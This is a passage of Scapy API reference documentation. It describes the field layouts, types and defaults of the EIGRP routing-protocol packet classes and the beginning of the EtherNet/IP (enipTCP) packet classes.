|                              SEQ                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              ACK                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              ASN                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            TLVLIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                            Fig. EIGRP                            


EIGRP fields






	ver

	ByteField

	2



	opcode

	ByteEnumField

	5



	chksum

	XShortField

	None



	flags

	FlagsField

	<Flag 0 ()>



	seq

	IntField

	0



	ack

	IntField

	0



	asn

	IntField

	100



	tlvlist

	PacketListField

	[]











	
mysummary()[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/eigrp.py#L479-L486]

	




	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/eigrp.py#L472-L477]

	








	
class scapy.contrib.eigrp.EIGRPAuthData(_pkt, /, *, type=2, len=None, authtype=2, keysize=None, keyid=1, nullpad=b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', authdata=<RandString>)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/eigrp.py#L210-L228]

	Bases: EIGRPGeneric


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            AUTHTYPE           |            KEYSIZE            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             KEYID                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            NULLPAD                            |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            AUTHDATA           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. EIGRPAuthData                        


EIGRPAuthData fields






	type

	XShortField

	2



	len

	FieldLenField

	None



	authtype

	ShortEnumField

	2



	keysize

	ShortField

	None



	keyid

	IntField

	1



	nullpad

	StrFixedLenField

	b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'



	authdata

	StrLenField

	<RandString>











	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/eigrp.py#L221-L228]

	








	
class scapy.contrib.eigrp.EIGRPExtRoute(_pkt, /, *, type=259, len=None, nexthop='192.168.0.0', originrouter='192.168.0.1', originasn=0, tag=0, externalmetric=0, reserved=0, extprotocolid=3, flags=<Flag 0 ()>, delay=0, bandwidth=256, mtu=1500, hopcount=0, reliability=255, load=0, reserved2=0, prefixlen=24, dst='192.168.1.0')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/eigrp.py#L357-L378]

	Bases: EIGRPGeneric


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            NEXTHOP                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          ORIGINROUTER                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           ORIGINASN                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              TAG                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         EXTERNALMETRIC                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            RESERVED           | EXTPROTOCOLID |     FLAGS     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             DELAY                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           BANDWIDTH                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              MTU                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    HOPCOUNT   |  RELIABILITY  |      LOAD     |   RESERVED2   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |   PREFIXLEN   |              DST              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. EIGRPExtRoute                        


EIGRPExtRoute fields






	type

	XShortField

	259



	len

	FieldLenField

	None



	nexthop

	IPField

	'192.168.0.0'



	originrouter

	IPField

	'192.168.0.1'



	originasn

	IntField

	0



	tag

	IntField

	0



	externalmetric

	IntField

	0



	reserved

	ShortField

	0



	extprotocolid

	ByteEnumField

	3



	flags

	FlagsField

	<Flag 0 ()>



	delay

	IntField

	0



	bandwidth

	IntField

	256



	mtu

	ThreeBytesField

	1500



	hopcount

	ByteField

	0



	reliability

	ByteField

	255



	load

	ByteField

	0



	reserved2

	XShortField

	0



	prefixlen

	ByteField

	24



	dst

	EigrpIPField

	'192.168.1.0'















	
class scapy.contrib.eigrp.EIGRPGeneric(_pkt, /, *, type=0, len=None, value=b'\x00')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/eigrp.py#L181-L188]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             VALUE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. EIGRPGeneric                         


EIGRPGeneric fields






	type

	XShortField

	0



	len

	FieldLenField

	None



	value

	StrLenField

	b'\x00'











	
guess_payload_class(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/eigrp.py#L187-L188]

	








	
class scapy.contrib.eigrp.EIGRPIntRoute(_pkt, /, *, type=258, len=None, nexthop='192.168.0.0', delay=128000, bandwidth=256, mtu=1500, hopcount=0, reliability=255, load=0, reserved=0, prefixlen=24, dst='192.168.1.0')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/eigrp.py#L323-L337]

	Bases: EIGRPGeneric


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            NEXTHOP                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             DELAY                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           BANDWIDTH                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              MTU                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    HOPCOUNT   |  RELIABILITY  |      LOAD     |    RESERVED   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |   PREFIXLEN   |              DST              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. EIGRPIntRoute                        


EIGRPIntRoute fields






	type

	XShortField

	258



	len

	FieldLenField

	None



	nexthop

	IPField

	'192.168.0.0'



	delay

	IntField

	128000



	bandwidth

	IntField

	256



	mtu

	ThreeBytesField

	1500



	hopcount

	ByteField

	0



	reliability

	ByteField

	255



	load

	ByteField

	0



	reserved

	XShortField

	0



	prefixlen

	ByteField

	24



	dst

	EigrpIPField

	'192.168.1.0'















	
class scapy.contrib.eigrp.EIGRPNms(_pkt, /, *, type=5, len=8, nms=2)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/eigrp.py#L301-L306]

	Bases: EIGRPGeneric


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              NMS                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. EIGRPNms                           


EIGRPNms fields






	type

	XShortField

	5



	len

	ShortField

	8



	nms

	IntField

	2















	
class scapy.contrib.eigrp.EIGRPParam(_pkt, /, *, type=1, len=12, k1=1, k2=0, k3=1, k4=0, k5=0, reserved=0, holdtime=15)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/eigrp.py#L191-L207]

	Bases: EIGRPGeneric


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       K1      |       K2      |       K3      |       K4      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       K5      |    RESERVED   |            HOLDTIME           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. EIGRPParam                          


EIGRPParam fields






	type

	XShortField

	1



	len

	ShortField

	12



	k1

	ByteField

	1



	k2

	ByteField

	0



	k3

	ByteField

	1



	k4

	ByteField

	0



	k5

	ByteField

	0



	reserved

	ByteField

	0



	holdtime

	ShortField

	15















	
class scapy.contrib.eigrp.EIGRPSeq(_pkt, /, *, type=3, len=None, addrlen=4, ipaddr='192.168.0.1', ip6addr='2001::')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/eigrp.py#L231-L250]

	Bases: EIGRPGeneric


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    ADDRLEN    |                     IPADDR                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                    IP6ADDR                    |
+-+-+-+-+-+-+-+-+                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                          Fig. EIGRPSeq                           


EIGRPSeq fields






	type

	XShortField

	3



	len

	ShortField

	None



	addrlen

	ByteField

	4



	ipaddr

	IPField (Cond)

	'192.168.0.1'



	ip6addr

	IP6Field (Cond)

	'2001::'











	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/eigrp.py#L242-L250]

	








	
class scapy.contrib.eigrp.EIGRPStub(_pkt, /, *, type=6, len=6, flags=<Flag 13 (connected+summary+receive-only)>)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/eigrp.py#L314-L318]

	Bases: EIGRPGeneric


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             FLAGS             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. EIGRPStub                          


EIGRPStub fields






	type

	XShortField

	6



	len

	ShortField

	6



	flags

	FlagsField

	<Flag 13 (connected+summary+receive-only)>















	
class scapy.contrib.eigrp.EIGRPSwVer(_pkt, /, *, type=4, len=8, ios=3072, eigrp=258)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/eigrp.py#L292-L298]

	Bases: EIGRPGeneric


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              IOS              |             EIGRP             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. EIGRPSwVer                          


EIGRPSwVer fields






	type

	XShortField

	4



	len

	ShortField

	8



	ios

	ShortVersionField

	3072



	eigrp

	ShortVersionField

	258















	
class scapy.contrib.eigrp.EIGRPv6ExtRoute(_pkt, /, *, type=1027, len=None, nexthop='::', originrouter='192.168.0.1', originasn=0, tag=0, externalmetric=0, reserved=0, extprotocolid=3, flags=<Flag 0 ()>, delay=0, bandwidth=256000, mtu=1500, hopcount=1, reliability=0, load=1, reserved2=0, prefixlen=8, dst='::')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/eigrp.py#L398-L419]

	Bases: EIGRPGeneric


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            NEXTHOP                            |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          ORIGINROUTER                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           ORIGINASN                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              TAG                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         EXTERNALMETRIC                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            RESERVED           | EXTPROTOCOLID |     FLAGS     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             DELAY                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           BANDWIDTH                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              MTU                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    HOPCOUNT   |  RELIABILITY  |      LOAD     |   RESERVED2   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |   PREFIXLEN   |              DST              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. EIGRPv6ExtRoute                       


EIGRPv6ExtRoute fields






	type

	XShortField

	1027



	len

	FieldLenField

	None



	nexthop

	IP6Field

	'::'



	originrouter

	IPField

	'192.168.0.1'



	originasn

	IntField

	0



	tag

	IntField

	0



	externalmetric

	IntField

	0



	reserved

	ShortField

	0



	extprotocolid

	ByteEnumField

	3



	flags

	FlagsField

	<Flag 0 ()>



	delay

	IntField

	0



	bandwidth

	IntField

	256000



	mtu

	ThreeBytesField

	1500



	hopcount

	ByteField

	1



	reliability

	ByteField

	0



	load

	ByteField

	1



	reserved2

	XShortField

	0



	prefixlen

	ByteField

	8



	dst

	EigrpIP6Field

	'::'















	
class scapy.contrib.eigrp.EIGRPv6IntRoute(_pkt, /, *, type=1026, len=None, nexthop='::', delay=128000, bandwidth=256000, mtu=1500, hopcount=1, reliability=255, load=0, reserved=0, prefixlen=16, dst='2001::')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/eigrp.py#L381-L395]

	Bases: EIGRPGeneric


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            NEXTHOP                            |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             DELAY                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           BANDWIDTH                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              MTU                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    HOPCOUNT   |  RELIABILITY  |      LOAD     |    RESERVED   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |   PREFIXLEN   |              DST              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. EIGRPv6IntRoute                       


EIGRPv6IntRoute fields






	type

	XShortField

	1026



	len

	FieldLenField

	None



	nexthop

	IP6Field

	'::'



	delay

	IntField

	128000



	bandwidth

	IntField

	256000



	mtu

	ThreeBytesField

	1500



	hopcount

	ByteField

	1



	reliability

	ByteField

	255



	load

	ByteField

	0



	reserved

	XShortField

	0



	prefixlen

	ByteField

	16



	dst

	EigrpIP6Field

	'2001::'















	
class scapy.contrib.eigrp.EigrpIP6Field(name, default, length=None, length_from=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/eigrp.py#L116-L178]

	Bases: StrField, IP6Field

This is a special field type for handling ip addresses of destination networks in internal and
external route updates.


	
any2i(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/eigrp.py#L131-L132]

	




	
getfield(pkt, s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/eigrp.py#L172-L175]

	




	
h2i(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/eigrp.py#L137-L138]

	




	
i2len(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/eigrp.py#L167-L170]

	




	
i2m(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/eigrp.py#L140-L145]

	




	
i2repr(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/eigrp.py#L134-L135]

	




	
length_from

	




	
m2i(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/eigrp.py#L147-L157]

	




	
prefixlen_to_bytelen(plen)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/eigrp.py#L159-L165]

	




	
randval()[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/eigrp.py#L177-L178]

	








	
class scapy.contrib.eigrp.EigrpIPField(name, default, length=None, length_from=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/eigrp.py#L46-L113]

	Bases: StrField, IPField

This is a special field type for handling ip addresses of destination networks in internal and
external route updates.

EIGRP removes zeros from the host portion of the ip address if the netmask is 8, 16 or 24 bits.


	
getfield(pkt, s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/eigrp.py#L107-L110]

	




	
h2i(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/eigrp.py#L62-L63]

	




	
i2len(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/eigrp.py#L102-L105]

	




	
i2m(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/eigrp.py#L65-L76]

	




	
length_from

	




	
m2i(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/eigrp.py#L78-L88]

	




	
prefixlen_to_bytelen(tmp_len)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/eigrp.py#L90-L100]

	




	
randval()[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/eigrp.py#L112-L113]

	








	
class scapy.contrib.eigrp.ShortVersionField(name: str, default: int | None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/eigrp.py#L253-L289]

	Bases: ShortField


	
h2i(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/eigrp.py#L264-L286]

	The field accepts string values like v12.1, v1.1 or integer values.
String values have to start with a “v” followed by a
floating point number. Valid numbers are between 0 and 255.






	
i2repr(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/eigrp.py#L254-L262]

	




	
randval()[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/eigrp.py#L288-L289]

	










            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.enipTCP

EtherNet/IP (Industrial Protocol)

Based on https://github.com/scy-phy/scapy-cip-enip
EtherNet/IP Home: www.odva.org


	
class scapy.contrib.enipTCP.ENIPListIdentity(_pkt, /, *, itemCount=0, items=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/enipTCP.py#L193-L199]

	Bases: Packet

List identity request and response


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           ITEMCOUNT           |             ITEMS             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. ENIPListIdentity                       


ENIPListIdentity fields






	itemCount

	FieldLenField

	0



	items

	PacketListField

	[]















	
class scapy.contrib.enipTCP.ENIPListIdentityItem(_pkt, /, *, itemTypeCode=0, itemLength=0, protocolVersion=0, sinFamily=0, sinPort=0, sinAddress=None, sinZero=0, vendorId=0, deviceType=0, productCode=0, revisionMajor=0, revisionMinor=0, status=0, serialNumber=0, productNameLength=0, productName=None, state=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/enipTCP.py#L166-L190]

	Bases: Packet

List Identity Item Fields


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          ITEMTYPECODE         |           ITEMLENGTH          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        PROTOCOLVERSION        |           SINFAMILY           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            SINPORT            |           SINADDRESS          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |            SINZERO            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |            VENDORID           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           DEVICETYPE          |          PRODUCTCODE          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| REVISIONMAJOR | REVISIONMINOR |             STATUS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          SERIALNUMBER                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|PRODUCTNAMELENG|          PRODUCTNAME          |     STATE     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. ENIPListIdentityItem                     


ENIPListIdentityItem fields






	itemTypeCode

	LEShortEnumField

	0



	itemLength

	LEFieldLenField

	0



	protocolVersion

	LEShortField

	0



	sinFamily

	ShortField

	0



	sinPort

	ShortField

	0



	sinAddress

	IPField

	None



	sinZero

	LongField

	0



	vendorId

	LEShortField

	0



	deviceType

	LEShortEnumField

	0



	productCode

	LEShortField

	0



	revisionMajor

	ByteField

	0



	revisionMinor

	ByteField

	0



	status

	LEShortField

	0



	serialNumber

	XLEIntField

	0



	productNameLength

	ByteField

	0



	productName

	StrLenField

	None



	state

	ByteField

	0















	
class scapy.contrib.enipTCP.ENIPListInterfaces(_pkt, /, *, itemCount=0, items=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/enipTCP.py#L216-L222]

	Bases: Packet

List Interfaces Command Field


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           ITEMCOUNT           |             ITEMS             |
